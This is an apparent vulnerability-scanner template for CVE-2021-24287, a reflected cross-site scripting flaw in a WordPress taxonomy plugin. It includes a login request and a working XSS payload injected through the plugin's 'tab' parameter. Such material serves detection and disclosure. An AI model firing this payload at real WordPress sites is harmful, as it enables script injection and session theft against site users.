| Title | WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Fixed in version 1.3.2. |
| CVSS Score | 6.1 |
| EPSS Score | 0.33301 |
| CVE ID | CVE-2021-24287 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wp select-all-categories taxonomies-change-checkbox-to-radio-buttons authenticated wpscan xss wp-plugin wordpress edb mooveagency vuln |
WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=8vew3l&pwd=nqmeU0&wp-submit=Log+In
GET /wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(document.domain); HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip
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